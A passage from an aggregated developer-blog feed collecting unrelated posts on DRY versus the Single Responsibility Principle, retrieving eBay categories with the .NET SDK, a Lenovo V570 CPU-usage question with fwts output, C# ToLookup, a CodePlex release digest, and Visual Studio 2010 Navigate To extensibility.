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  • DRY and SRP

    - by Timothy Klenke
    Originally posted on: http://geekswithblogs.net/TimothyK/archive/2014/06/11/dry-and-srp.aspxKent Beck’s XP Simplicity Rules (aka Four Rules of Simple Design) are a prioritized list of rules that when applied to your code generally yield a great design.  As you’ll see from the above link the list has slightly evolved over time.  I find today they are usually listed as: All Tests Pass Don’t Repeat Yourself (DRY) Express Intent Minimalistic These are prioritized.  If your code doesn’t work (rule 1) then everything else is forfeit.  Go back to rule one and get the code working before worrying about anything else. Over the years the community have debated whether the priority of rules 2 and 3 should be reversed.  Some say a little duplication in the code is OK as long as it helps express intent.  I’ve debated it myself.  This recent post got me thinking about this again, hence this post.   I don’t think it is fair to compare “Expressing Intent” against “DRY”.  This is a comparison of apples to oranges.  “Expressing Intent” is a principal of code quality.  “Repeating Yourself” is a code smell.  A code smell is merely an indicator that there might be something wrong with the code.  It takes further investigation to determine if a violation of an underlying principal of code quality has actually occurred. For example “using nouns for method names”, “using verbs for property names”, or “using Booleans for parameters” are all code smells that indicate that code probably isn’t doing a good job at expressing intent.  They are usually very good indicators.  But what principle is the code smell of Duplication pointing to and how good of an indicator is it? Duplication in the code base is bad for a couple reasons.  If you need to make a change and that needs to be made in a number of locations it is difficult to know if you have caught all of them.  This can lead to bugs if/when one of those locations is overlooked.  By refactoring the code to remove all duplication there will be left with only one place to change, thereby eliminating this problem. With most projects the code becomes the single source of truth for a project.  If a production code base is inconsistent with a five year old requirements or design document the production code that people are currently living with is usually declared as the current reality (or truth).  Requirement or design documents at this age in a project life cycle are usually of little value. Although comparing production code to external documentation is usually straight forward, duplication within the code base muddles this declaration of truth.  When code is duplicated small discrepancies will creep in between the two copies over time.  The question then becomes which copy is correct?  As different factions debate how the software should work, trust in the software and the team behind it erodes. The code smell of Duplication points to a violation of the “Single Source of Truth” principle.  Let me define that as: A stakeholder’s requirement for a software change should never cause more than one class to change. Violation of the Single Source of Truth principle will always result in duplication in the code.  However, the inverse is not always true.  Duplication in the code does not necessarily indicate that there is a violation of the Single Source of Truth principle. To illustrate this, let’s look at a retail system where the system will (1) send a transaction to a bank and (2) print a receipt for the customer.  Although these are two separate features of the system, they are closely related.  The reason for printing the receipt is usually to provide an audit trail back to the bank transaction.  Both features use the same data:  amount charged, account number, transaction date, customer name, retail store name, and etcetera.  Because both features use much of the same data, there is likely to be a lot of duplication between them.  This duplication can be removed by making both features use the same data access layer. Then start coming the divergent requirements.  The receipt stakeholder wants a change so that the account number has the last few digits masked out to protect the customer’s privacy.  That can be solve with a small IF statement whilst still eliminating all duplication in the system.  Then the bank wants to take a picture of the customer as well as capture their signature and/or PIN number for enhanced security.  Then the receipt owner wants to pull data from a completely different system to report the customer’s loyalty program point total. After a while you realize that the two stakeholders have somewhat similar, but ultimately different responsibilities.  They have their own reasons for pulling the data access layer in different directions.  Then it dawns on you, the Single Responsibility Principle: There should never be more than one reason for a class to change. In this example we have two stakeholders giving two separate reasons for the data access class to change.  It is clear violation of the Single Responsibility Principle.  That’s a problem because it can often lead the project owner pitting the two stakeholders against each other in a vein attempt to get them to work out a mutual single source of truth.  But that doesn’t exist.  There are two completely valid truths that the developers need to support.  How is this to be supported and honour the Single Responsibility Principle?  The solution is to duplicate the data access layer and let each stakeholder control their own copy. The Single Source of Truth and Single Responsibility Principles are very closely related.  SST tells you when to remove duplication; SRP tells you when to introduce it.  They may seem to be fighting each other, but really they are not.  The key is to clearly identify the different responsibilities (or sources of truth) over a system.  Sometimes there is a single person with that responsibility, other times there are many.  This can be especially difficult if the same person has dual responsibilities.  They might not even realize they are wearing multiple hats. In my opinion Single Source of Truth should be listed as the second rule of simple design with Express Intent at number three.  Investigation of the DRY code smell should yield to the proper application SST, without violating SRP.  When necessary leave duplication in the system and let the class names express the different people that are responsible for controlling them.  Knowing all the people with responsibilities over a system is the higher priority because you’ll need to know this before you can express it.  Although it may be a code smell when there is duplication in the code, it does not necessarily mean that the coder has chosen to be expressive over DRY or that the code is bad.

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  • Retrieving a list of eBay categories using the .NET SDK and GetCategoriesCall

    - by Bill Osuch
    eBay offers a .Net SDK for its Trading API - this post will show you the basics of making an API call and retrieving a list of current categories. You'll need the category ID(s) for any apps that post or search eBay. To start, download the latest SDK from https://www.x.com/developers/ebay/documentation-tools/sdks/dotnet and create a new console app project. Add a reference to the eBay.Service DLL, and a few using statements: using eBay.Service.Call; using eBay.Service.Core.Sdk; using eBay.Service.Core.Soap; I'm assuming at this point you've already joined the eBay Developer Network and gotten your app IDs and user tokens. If not: Join the developer program Generate tokens Next, add an app.config file that looks like this: <?xml version="1.0"?> <configuration>   <appSettings>     <add key="Environment.ApiServerUrl" value="https://api.ebay.com/wsapi"/>     <add key="UserAccount.ApiToken" value="YourBigLongToken"/>   </appSettings> </configuration> And then add the code to get the xml list of categories: ApiContext apiContext = GetApiContext(); GetCategoriesCall apiCall = new GetCategoriesCall(apiContext); apiCall.CategorySiteID = "0"; //Leave this commented out to retrieve all category levels (all the way down): //apiCall.LevelLimit = 4; //Uncomment this to begin at a specific parent category: //StringCollection parentCategories = new StringCollection(); //parentCategories.Add("63"); //apiCall.CategoryParent = parentCategories; apiCall.DetailLevelList.Add(DetailLevelCodeType.ReturnAll); CategoryTypeCollection cats = apiCall.GetCategories(); using (StreamWriter outfile = new StreamWriter(@"C:\Temp\EbayCategories.xml")) {    outfile.Write(apiCall.SoapResponse); } GetApiContext() (provided in the sample apps in the SDK) is required for any call:         static ApiContext GetApiContext()         {             //apiContext is a singleton,             //to avoid duplicate configuration reading             if (apiContext != null)             {                 return apiContext;             }             else             {                 apiContext = new ApiContext();                 //set Api Server Url                 apiContext.SoapApiServerUrl = ConfigurationManager.AppSettings["Environment.ApiServerUrl"];                 //set Api Token to access eBay Api Server                 ApiCredential apiCredential = new ApiCredential();                 apiCredential.eBayToken = ConfigurationManager.AppSettings["UserAccount.ApiToken"];                 apiContext.ApiCredential = apiCredential;                 //set eBay Site target to US                 apiContext.Site = SiteCodeType.US;                 return apiContext;             }         } Running this will give you a large (4 or 5 megs) XML file that looks something like this: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">    <soapenv:Body>       <GetCategoriesResponse >          <Timestamp>2012-06-06T16:03:46.158Z</Timestamp>          <Ack>Success</Ack>          <CorrelationID>d02dd9e3-295a-4268-9ea5-554eeb2e0e18</CorrelationID>          <Version>775</Version>          <Build>E775_CORE_BUNDLED_14891042_R1</Build> -          <CategoryArray>             <Category>                <BestOfferEnabled>true</BestOfferEnabled>                <AutoPayEnabled>true</AutoPayEnabled>                <CategoryID>20081</CategoryID>                <CategoryLevel>1</CategoryLevel>                <CategoryName>Antiques</CategoryName>                <CategoryParentID>20081</CategoryParentID>             </Category>             <Category>                <BestOfferEnabled>true</BestOfferEnabled>                <AutoPayEnabled>true</AutoPayEnabled>                <CategoryID>37903</CategoryID>                <CategoryLevel>2</CategoryLevel>                <CategoryName>Antiquities</CategoryName>                <CategoryParentID>20081</CategoryParentID>             </Category> (etc.) You could work with this, but I wanted a nicely nested view, like this: <CategoryArray>    <Category Name='Antiques' ID='20081' Level='1'>       <Category Name='Antiquities' ID='37903' Level='2'/> </CategoryArray> ...so I transformed the xml: private void TransformXML(CategoryTypeCollection cats)         {             XmlElement topLevelElement = null;             XmlElement childLevelElement = null;             XmlNode parentNode = null;             string categoryString = "";             XmlDocument returnDoc = new XmlDocument();             XmlElement root = returnDoc.CreateElement("CategoryArray");             returnDoc.AppendChild(root);             XmlNode rootNode = returnDoc.SelectSingleNode("/CategoryArray");             //Loop through CategoryTypeCollection             foreach (CategoryType category in cats)             {                 if (category.CategoryLevel == 1)                 {                     //Top-level category, so we know we can just add it                     topLevelElement = returnDoc.CreateElement("Category");                     topLevelElement.SetAttribute("Name", category.CategoryName);                     topLevelElement.SetAttribute("ID", category.CategoryID);                     rootNode.AppendChild(topLevelElement);                 }                 else                 {                     // Level number will determine how many Category nodes we are deep                     categoryString = "";                     for (int x = 1; x < category.CategoryLevel; x++)                     {                         categoryString += "/Category";                     }                     parentNode = returnDoc.SelectSingleNode("/CategoryArray" + categoryString + "[@ID='" + category.CategoryParentID[0] + "']");                     childLevelElement = returnDoc.CreateElement("Category");                     childLevelElement.SetAttribute("Name", category.CategoryName);                     childLevelElement.SetAttribute("ID", category.CategoryID);                     parentNode.AppendChild(childLevelElement);                 }             }             returnDoc.Save(@"C:\Temp\EbayCategories-Modified.xml");         } Yes, there are probably much cleaner ways of dealing with it, but I'm not an xml expert… Keep in mind, eBay categories do not change on a regular basis, so you should be able to cache this data (either in a file or database) for some time. The xml returns a CategoryVersion node that you can use to determine if the category list has changed. Technorati Tags: Csharp, eBay

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  • Lenovo V570 CPU fan running constantly, CPU core 1 running over 90%!

    - by Rabbit2190
    I have seen that a lot of people are having this same issue. I am running a Lenovo V570 i5 4 core, 6 gigs of ram, and am running 11.10 Onieric Ocelot. On my system monitor graph it shows CPU at 20%, when I open the monitor it shows core #1 at around 90%, the other cores fluctuate at or below 5-12% if even. Now this seems like a really terrible balance of power between the cores, especially with so much stress on one core only, when these things are designed to work with 4 cores and not at such high temps. My current readings say 64 degrees Celsius, this does not seem normal for any cpu, and I am seriously considering, working on my windows7 partition until I see a real solution to this issue or upgrading to 12.04 right away when it comes out... I have seen countless things saying it has something to do with the Kernel, the kernel on mine is the same as when I upgraded, I really do not like messing with it, as when I had 11.04, I did tinker with it due to the freeze issues I was having, and that just made worse issues. I like this version 11.10 and would like to keep it for a while, but without the fear that my core is going to fry! So any help would be much appreciated! I did try changing a couple things in ACPI, and restarting this did not help, and here I am. I tried one thing prior to that that was listed under a different computer brand, but it would not do a make on the file. I really need help with this, I rely on this computer for a lot of things, and love this OS! Please help so I do not need to resort to my Microsoft partition! PLEASE! Here is the fwts cpufrequ- output: rabbit@rabbit-Lenovo-V570:~$ sudo fwts cpufreq - 00001 fwts Results generated by fwts: Version V0.23.25 (Thu Oct 6 15 00002 fwts :12:31 BST 2011). 00003 fwts 00004 fwts Some of this work - Copyright (c) 1999 - 2010, Intel Corp. 00005 fwts All rights reserved. 00006 fwts Some of this work - Copyright (c) 2010 - 2011, Canonical. 00007 fwts 00008 fwts This test run on 02/04/12 at 17:23:22 on host Linux 00009 fwts rabbit-Lenovo-V570 3.0.0-17-generic-pae #30-Ubuntu SMP Thu 00010 fwts Mar 8 17:53:35 UTC 2012 i686. 00011 fwts 00012 fwts Running tests: cpufreq. 00014 cpufreq CPU frequency scaling tests (takes ~1-2 mins). 00015 cpufreq --------------------------------------------------------- 00016 cpufreq Test 1 of 1: CPU P-State Checks. 00017 cpufreq For each processor in the system, this test steps through 00018 cpufreq the various frequency states (P-states) that the BIOS 00019 cpufreq advertises for the processor. For each processor/frequency 00020 cpufreq combination, a quick performance value is measured. The 00021 cpufreq test then validates that: 00022 cpufreq 1) Each processor has the same number of frequency states 00023 cpufreq 2) Higher advertised frequencies have a higher performance 00024 cpufreq 3) No duplicate frequency values are reported by the BIOS 00025 cpufreq 4) Is BIOS wrongly doing Sw_All P-state coordination across cores 00026 cpufreq 5) Is BIOS wrongly doing Sw_Any P-state coordination across cores 00027 cpufreq Frequency | Speed 00028 cpufreq -----------+--------- 00029 cpufreq 2.45 Ghz | 100.0 % 00030 cpufreq 2.45 Ghz | 83.7 % 00031 cpufreq 2.05 Ghz | 69.2 % 00032 cpufreq 1.85 Ghz | 62.5 % 00033 cpufreq 1.65 Ghz | 55.2 % 00034 cpufreq 1400 Mhz | 48.6 % 00035 cpufreq 1200 Mhz | 41.8 % 00036 cpufreq 1000 Mhz | 34.5 % 00037 cpufreq 800 Mhz | 27.6 % 00038 cpufreq 9 CPU frequency steps supported 00039 cpufreq Frequency | Speed 00040 cpufreq -----------+--------- 00041 cpufreq 2.45 Ghz | 97.7 % 00042 cpufreq 2.45 Ghz | 83.7 % 00043 cpufreq 2.05 Ghz | 69.6 % 00044 cpufreq 1.85 Ghz | 63.3 % 00045 cpufreq 1.65 Ghz | 55.7 % 00046 cpufreq 1400 Mhz | 48.7 % 00047 cpufreq 1200 Mhz | 41.7 % 00048 cpufreq 1000 Mhz | 34.5 % 00049 cpufreq 800 Mhz | 27.5 % 00050 cpufreq Frequency | Speed 00051 cpufreq -----------+--------- 00052 cpufreq 2.45 Ghz | 97.7 % 00053 cpufreq 2.45 Ghz | 84.4 % 00054 cpufreq 2.05 Ghz | 69.6 % 00055 cpufreq 1.85 Ghz | 62.6 % 00056 cpufreq 1.65 Ghz | 55.9 % 00057 cpufreq 1400 Mhz | 48.7 % 00058 cpufreq 1200 Mhz | 41.7 % 00059 cpufreq 1000 Mhz | 34.7 % 00060 cpufreq 800 Mhz | 27.8 % 00061 cpufreq Frequency | Speed 00062 cpufreq -----------+--------- 00063 cpufreq 2.45 Ghz | 100.0 % 00064 cpufreq 2.45 Ghz | 82.6 % 00065 cpufreq 2.05 Ghz | 67.8 % 00066 cpufreq 1.85 Ghz | 61.4 % 00067 cpufreq 1.65 Ghz | 54.9 % 00068 cpufreq 1400 Mhz | 48.3 % 00069 cpufreq 1200 Mhz | 41.1 % 00070 cpufreq 1000 Mhz | 34.3 % 00071 cpufreq 800 Mhz | 27.4 % 00072 cpufreq Frequency | Speed 00073 cpufreq -----------+--------- 00074 cpufreq 2.45 Ghz | 96.2 % 00075 cpufreq 2.45 Ghz | 82.5 % 00076 cpufreq 2.05 Ghz | 69.3 % 00077 cpufreq 1.85 Ghz | 62.7 % 00078 cpufreq 1.65 Ghz | 55.0 % 00079 cpufreq 1400 Mhz | 47.4 % 00080 cpufreq 1200 Mhz | 41.1 % 00081 cpufreq 1000 Mhz | 34.0 % 00082 cpufreq 800 Mhz | 27.2 % 00083 cpufreq Frequency | Speed 00084 cpufreq -----------+--------- 00085 cpufreq 2.45 Ghz | 96.5 % 00086 cpufreq 2.45 Ghz | 83.6 % 00087 cpufreq 2.05 Ghz | 68.1 % 00088 cpufreq 1.85 Ghz | 61.7 % 00089 cpufreq 1.65 Ghz | 54.9 % 00090 cpufreq 1400 Mhz | 48.0 % 00091 cpufreq 1200 Mhz | 41.1 % 00092 cpufreq 1000 Mhz | 34.2 % 00093 cpufreq 800 Mhz | 27.8 % 00094 cpufreq Frequency | Speed 00095 cpufreq -----------+--------- 00096 cpufreq 2.45 Ghz | 96.4 % 00097 cpufreq 2.45 Ghz | 82.6 % 00098 cpufreq 2.05 Ghz | 68.8 % 00099 cpufreq 1.85 Ghz | 60.5 % 00100 cpufreq 1.65 Ghz | 52.4 % 00101 cpufreq 1400 Mhz | 48.8 % 00102 cpufreq 1200 Mhz | 41.1 % 00103 cpufreq 1000 Mhz | 34.2 % 00104 cpufreq 800 Mhz | 26.4 % 00105 cpufreq Frequency | Speed 00106 cpufreq -----------+--------- 00107 cpufreq 2.45 Ghz | 95.3 % 00108 cpufreq 2.45 Ghz | 82.5 % 00109 cpufreq 2.05 Ghz | 65.5 % 00110 cpufreq 1.85 Ghz | 62.8 % 00111 cpufreq 1.65 Ghz | 54.8 % 00112 cpufreq 1400 Mhz | 48.0 % 00113 cpufreq 1200 Mhz | 41.2 % 00114 cpufreq 1000 Mhz | 34.2 % 00115 cpufreq 800 Mhz | 27.3 % 00116 cpufreq Frequency | Speed 00117 cpufreq -----------+--------- 00118 cpufreq 2.45 Ghz | 96.3 % 00119 cpufreq 2.45 Ghz | 83.4 % 00120 cpufreq 2.05 Ghz | 68.3 % 00121 cpufreq 1.85 Ghz | 61.9 % 00122 cpufreq 1.65 Ghz | 54.9 % 00123 cpufreq 1400 Mhz | 48.0 % 00124 cpufreq 1200 Mhz | 41.1 % 00125 cpufreq 1000 Mhz | 34.2 % 00126 cpufreq 800 Mhz | 27.3 % 00127 cpufreq Frequency | Speed 00128 cpufreq -----------+--------- 00129 cpufreq 2.45 Ghz | 100.0 % 00130 cpufreq 2.45 Ghz | 77.9 % 00131 cpufreq 2.05 Ghz | 64.6 % 00132 cpufreq 1.85 Ghz | 54.0 % 00133 cpufreq 1.65 Ghz | 51.7 % 00134 cpufreq 1400 Mhz | 45.2 % 00135 cpufreq 1200 Mhz | 39.0 % 00136 cpufreq 1000 Mhz | 33.1 % 00137 cpufreq 800 Mhz | 25.5 % 00138 cpufreq Frequency | Speed 00139 cpufreq -----------+--------- 00140 cpufreq 2.45 Ghz | 93.4 % 00141 cpufreq 2.45 Ghz | 75.7 % 00142 cpufreq 2.05 Ghz | 64.5 % 00143 cpufreq 1.85 Ghz | 59.1 % 00144 cpufreq 1.65 Ghz | 51.4 % 00145 cpufreq 1400 Mhz | 45.9 % 00146 cpufreq 1200 Mhz | 39.3 % 00147 cpufreq 1000 Mhz | 32.7 % 00148 cpufreq 800 Mhz | 25.8 % 00149 cpufreq Frequency | Speed 00150 cpufreq -----------+--------- 00151 cpufreq 2.45 Ghz | 92.1 % 00152 cpufreq 2.45 Ghz | 78.1 % 00153 cpufreq 2.05 Ghz | 65.7 % 00154 cpufreq 1.85 Ghz | 58.6 % 00155 cpufreq 1.65 Ghz | 52.5 % 00156 cpufreq 1400 Mhz | 45.7 % 00157 cpufreq 1200 Mhz | 39.3 % 00158 cpufreq 1000 Mhz | 32.7 % 00159 cpufreq 800 Mhz | 24.3 % 00160 cpufreq Frequency | Speed 00161 cpufreq -----------+--------- 00162 cpufreq 2.45 Ghz | 88.9 % 00163 cpufreq 2.45 Ghz | 79.8 % 00164 cpufreq 2.05 Ghz | 58.4 % 00165 cpufreq 1.85 Ghz | 52.6 % 00166 cpufreq 1.65 Ghz | 46.9 % 00167 cpufreq 1400 Mhz | 41.0 % 00168 cpufreq 1200 Mhz | 35.1 % 00169 cpufreq 1000 Mhz | 29.1 % 00170 cpufreq 800 Mhz | 22.9 % 00171 cpufreq Frequency | Speed 00172 cpufreq -----------+--------- 00173 cpufreq 2.45 Ghz | 92.8 % 00174 cpufreq 2.45 Ghz | 80.1 % 00175 cpufreq 2.05 Ghz | 66.2 % 00176 cpufreq 1.85 Ghz | 59.5 % 00177 cpufreq 1.65 Ghz | 52.9 % 00178 cpufreq 1400 Mhz | 46.2 % 00179 cpufreq 1200 Mhz | 39.5 % 00180 cpufreq 1000 Mhz | 32.9 % 00181 cpufreq 800 Mhz | 26.3 % 00182 cpufreq Frequency | Speed 00183 cpufreq -----------+--------- 00184 cpufreq 2.45 Ghz | 92.9 % 00185 cpufreq 2.45 Ghz | 79.5 % 00186 cpufreq 2.05 Ghz | 66.2 % 00187 cpufreq 1.85 Ghz | 59.6 % 00188 cpufreq 1.65 Ghz | 52.9 % 00189 cpufreq 1400 Mhz | 46.7 % 00190 cpufreq 1200 Mhz | 39.6 % 00191 cpufreq 1000 Mhz | 32.9 % 00192 cpufreq 800 Mhz | 26.3 % 00193 cpufreq FAILED [MEDIUM] CPUFreqCPUsSetToSW_ANY: Test 1, Processors 00194 cpufreq are set to SW_ANY. 00195 cpufreq FAILED [MEDIUM] CPUFreqSW_ANY: Test 1, Firmware not 00196 cpufreq implementing hardware coordination cleanly. Firmware using 00197 cpufreq SW_ANY instead?. 00198 cpufreq 00199 cpufreq ========================================================= 00200 cpufreq 0 passed, 2 failed, 0 warnings, 0 aborted, 0 skipped, 0 00201 cpufreq info only. 00202 cpufreq ========================================================= 00204 summary 00205 summary 0 passed, 2 failed, 0 warnings, 0 aborted, 0 skipped, 0 00206 summary info only. 00207 summary 00208 summary Test Failure Summary 00209 summary ==================== 00210 summary 00211 summary Critical failures: NONE 00212 summary 00213 summary High failures: NONE 00214 summary 00215 summary Medium failures: 2 00216 summary cpufreq test, at 1 log line: 193 00217 summary "Processors are set to SW_ANY." 00218 summary cpufreq test, at 1 log line: 195 00219 summary "Firmware not implementing hardware coordination cleanly. Firmware using SW_ANY instead?." 00220 summary 00221 summary Low failures: NONE 00222 summary 00223 summary Other failures: NONE 00224 summary 00225 summary Test |Pass |Fail |Abort|Warn |Skip |Info | 00226 summary ---------------+-----+-----+-----+-----+-----+-----+ 00227 summary cpufreq | | 2| | | | | 00228 summary ---------------+-----+-----+-----+-----+-----+-----+ 00229 summary Total: | 0| 2| 0| 0| 0| 0| 00230 summary ---------------+-----+-----+-----+-----+-----+-----+ rabbit@rabbit-Lenovo-V570:~$

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  • Single Key Multiple Values Data Structure for one to many mapping

    - by nijhawan.saurabh
    Dictionaries are good, they are great to store Key / Value pairs but what if you want to store multiple values for a single key? Dictionaries would not allow duplicate keys. I came across a nice way to represent such a Data Structure using one of the Extension Method (ToLookup) present in System.Linq Namespace which converts an IEnumerable<T> to an ILookup<TKey, TElement>.   Now, there are two parameters this method expects (The other overload expects 3 parameters): IEnumerable<TSource> - This list would contain the actual data. Func<TSource, TKey> keySelector - The Delegate which which computes the keys   The method returns the following: ILookup<TKey, TElement>   This DS would store Keys and multiple values along those keys.   Let's see a small example:        12  using System;    13     using System.Collections.Generic;    14     using System.Linq;    15     16     /// <summary>    17     /// </summary>    18     internal class Program    19     {    20         #region Methods    21     22         /// <summary>    23         /// </summary>    24         /// <param name="args">    25         /// The args.    26         /// </param>    27         private static void Main(string[] args)    28         {    29             // Create an array of strings.    30             var list = new List<string> { "IceCream1", "Chocolate Moose", "IceCream2" };    31     32             // Generate a lookup Data Structure    33             ILookup<int, string> lookupDs = list.ToLookup(item => item.Length);    34     35           // Enumerate groupings.    36             foreach (var group in lookupDs)    37             {    38                 foreach (string element in group)    39                 {    40                     Console.WriteLine(element);    41                 }    42             }    43         } Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}

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  • CodePlex Daily Summary for Monday, May 26, 2014

    CodePlex Daily Summary for Monday, May 26, 2014Popular ReleasesClosedXML - The easy way to OpenXML: ClosedXML 0.71.1: More performance improvements. It's faster and consumes less memory.Role Based Views in Microsoft Dynamics CRM 2011: Role Based Views in CRM 2011 and 2013 - 1.1.0.0: Issues fixed in this build: 1. Works for CRM 2013 2. Lookup view not getting blockedSimCityPak: SimCityPak 0.3.1.0: Main New Features: Fixed Importing of Instance Names (get rid of the Dutch translations) Added advanced editor for Decal Dictionaries Added possibility to import .PNG to generate new decals Added advanced editor for Path display entriesSimple Connect To Db: SimpleConnectToDb_v1: SimpleConnectToDb_v1CRM 2011 / CRM 2013 Form Helper: v2014.05.25: v2014.05.25 Added PhoneFormat & PhoneFormatAreaCode v2014.05.24 Initial ReleaseCreate Word documents without MS Word: Release 3.0: Add support for Sections, Sections Headers and Footers and right to left languages.Corporate News App for SharePoint 2013: CorporateNewsApp v1.6.2.0: Important note This version contains a major bug fix about the generic error "Request failed. Unexpected response data from server null" This error occurs on SharePoint Online only, following an update of the Javascript API after May 2014. If you have installed this application manually in your applications company catalog, you can download the CorporateNewsApp.app file in the zip archive and update it manually. If you have installed this application directly from the SharePoint Store, it ...DevOS: DevOS: Plugin-system added Including:DevOS.exe DevOS API.dll Files must be in the some folderTiny Deduplicator: Tiny Deduplicator 1.0.1.0: Increased version number to 1.0.1.0 Moved all options to a separate 'Options' dialog window. Allows the user to specify a selection strategy which will help when dealing with large numbers of duplicate files. Available options are "None," "Keep First," and "Keep Last"C64 Studio: 3.5: Add: BASIC renumber function Add: !PET pseudo op Add: elseif for !if, } else { pseudo op Add: !TRACE pseudo op Add: Watches are saved/restored with a solution Add: Ctrl-A works now in export assembly controls Add: Preliminary graphic import dialog (not fully functional yet) Add: range and block selection in sprite/charset editor (Shift-Click = range, Alt-Click = block) Fix: Expression evaluator could miscalculate when both division and multiplication were in an expression without parenthesisSEToolbox: SEToolbox 01.031.009 Release 1: Added mirroring of ConveyorTubeCurved. Updated Ship cube rotation to rotate ship back to original location (cubes are reoriented but ship appears no different to outsider), and to rotate Grouped items. Repair now fixes the loss of Grouped controls due to changes in Space Engineers 01.030. Added export asteroids. Rejoin ships will merge grouping and conveyor systems (even though broken ships currently only maintain the Grouping on one part of the ship). Installation of this version wi...Player Framework by Microsoft: Player Framework for Windows and WP v2.0: Support for new Universal and Windows Phone 8.1 projects for both Xaml and JavaScript projects. See a detailed list of improvements, breaking changes and a general overview of version 2 ADDITIONAL DOWNLOADSSmooth Streaming Client SDK for Windows 8 Applications Smooth Streaming Client SDK for Windows 8.1 Applications Smooth Streaming Client SDK for Windows Phone 8.1 Applications Microsoft PlayReady Client SDK for Windows 8 Applications Microsoft PlayReady Client SDK for Windows 8.1 Applicat...TerraMap (Terraria World Map Viewer): TerraMap 1.0.6: Added support for the new Terraria v1.2.4 update. New items, walls, and tiles Added the ability to select multiple highlighted block types. Added a dynamic, interactive highlight opacity slider, making it easier to find highlighted tiles with dark colors (and fixed blurriness from 1.0.5 alpha). Added ability to find Enchanted Swords (in the stone) and Water Bolt books Fixed Issue 35206: Hightlight/Find doesn't work for Demon Altars Fixed finding Demon Hearts/Shadow Orbs Fixed inst...DotNet.Highcharts: DotNet.Highcharts 4.0 with Examples: DotNet.Highcharts 4.0 Tested and adapted to the latest version of Highcharts 4.0.1 Added new chart type: Heatmap Added new type PointPlacement which represents enumeration or number for the padding of the X axis. Changed target framework from .NET Framework 4 to .NET Framework 4.5. Closed issues: 974: Add 'overflow' property to PlotOptionsColumnDataLabels class 997: Split container from JS 1006: Series/Categories with numeric names don't render DotNet.Highcharts.Samples Updated s...ConEmu - Windows console with tabs: ConEmu 140523 [Alpha]: ConEmu - developer build x86 and x64 versions. Written in C++, no additional packages required. Run "ConEmu.exe" or "ConEmu64.exe". Some useful information you may found: http://superuser.com/questions/tagged/conemu http://code.google.com/p/conemu-maximus5/wiki/ConEmuFAQ http://code.google.com/p/conemu-maximus5/wiki/TableOfContents If you want to use ConEmu in portable mode, just create empty "ConEmu.xml" file near to "ConEmu.exe" Aspose for Apache POI: Missing Features of Apache POI SL - v 1.1: Release contain the Missing Features in Apache POI SL SDK in Comparison with Aspose.Slides for dealing with Microsoft Power Point. What's New ?Following Examples: Managing Slide Transitions Manage Smart Art Adding Media Player Adding Audio Frame to Slide Feedback and Suggestions Many more examples are yet to come here. Keep visiting us. Raise your queries and suggest more examples via Aspose Forums or via this social coding site.PowerShell App Deployment Toolkit: PowerShell App Deployment Toolkit v3.1.3: Added CompressLogs option to the config file. Each Install / Uninstall creates a timestamped zip file with all MSI and PSAppDeployToolkit logs contained within Added variable expansion to all paths in the configuration file Added documentation for each of the Toolkit internal variables that can be used Changed Install-MSUpdates to continue if any errors are encountered when installing updates Implement /Force parameter on Update-GroupPolicy (ensure that any logoff message is ignored) ...WordMat: WordMat v. 1.07: A quick fix because scientific notation was broken in v. 1.06 read more at http://wordmat.blogspot.com????: 《????》: 《????》(c???)??“????”???????,???????????????C?????????。???????,???????????????????????. ??????????????????????????????????;????????????????????????????。Mini SQL Query: Mini SQL Query (1.0.72.457): Apologies for the previous update! FK issue fixed and also a template data cache issue.New ProjectsASP.Net MCV4 Simplified Code Samples: This project intended to simplify the same. In this project each task is implemented with minimum lines of code to reduces complicity.Calvin: net???CodeLatino by Latinosoft: A Modified version for codeShow -- Probably taking more than a month.freeasyBackup: A free and easy to use Backup Tool for everyone. Without any cloud restrictions. freeasyExplorer: A free and easy to use File Explorer for everyone.openPDFspeedreader: #spritz #pdfreader #speedreader PDF Editor to Edit PDF Files in your ASP.NET Applications: This sample application allows the users to edit PDF files online using Aspose.Pdf for .NET.SharePoint World Cup 2013: world cup 2014SSAS Long Running Query Performance Helper: This utility helps investigate long running multidimensional or mining queries in discovery, de-parameterization and re-parameterization back to source format.

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  • Notes on implementing Visual Studio 2010 Navigate To

    - by cyberycon
    One of the many neat functions added to Visual Studio in VS 2010 was the Navigate To feature. You can find it by clicking Edit, Navigate To, or by using the keyboard shortcut Ctrl, (yes, that's control plus the comma key). This pops up the Navigate To dialog that looks like this: As you type, Navigate To starts searching through a number of different search providers for your term. The entries in the list change as you type, with most providers doing some kind of fuzzy or at least substring matching. If you have C#, C++ or Visual Basic projects in your solution, all symbols defined in those projects are searched. There's also a file search provider, which displays all matching filenames from projects in the current solution as well. And, if you have a Visual Studio package of your own, you can implement a provider too. Micro Focus (where I work) provide the Visual COBOL language inside Visual Studio (http://visualstudiogallery.msdn.microsoft.com/ef9bc810-c133-4581-9429-b01420a9ea40 ), and we wanted to provide this functionality too. This post provides some notes on the things I discovered mainly through trial and error, but also with some kind help from devs inside Microsoft. The expectation of Navigate To is that it searches across the whole solution, not just the current project. So in our case, we wanted to search for all COBOL symbols inside all of our Visual COBOL projects inside the solution. So first of all, here's the Microsoft documentation on Navigate To: http://msdn.microsoft.com/en-us/library/ee844862.aspx . It's the reference information on the Microsoft.VisualStudio.Language.NavigateTo.Interfaces Namespace, and it lists all the interfaces you will need to implement to create your own Navigate To provider. Navigate To uses Visual Studio's latest mechanism for integrating external functionality and services, Managed Extensibility Framework (MEF). MEF components don't require any registration with COM or any other registry entries to be found by Visual Studio. Visual Studio looks in several well-known locations for manifest files (extension.vsixmanifest). It then uses reflection to scan for MEF attributes on classes in the assembly to determine which functionality the assembly provides. MEF itself is actually part of the .NET framework, and you can learn more about it here: http://mef.codeplex.com/. To get started with Visual Studio and MEF you could do worse than look at some of the editor examples on the VSX page 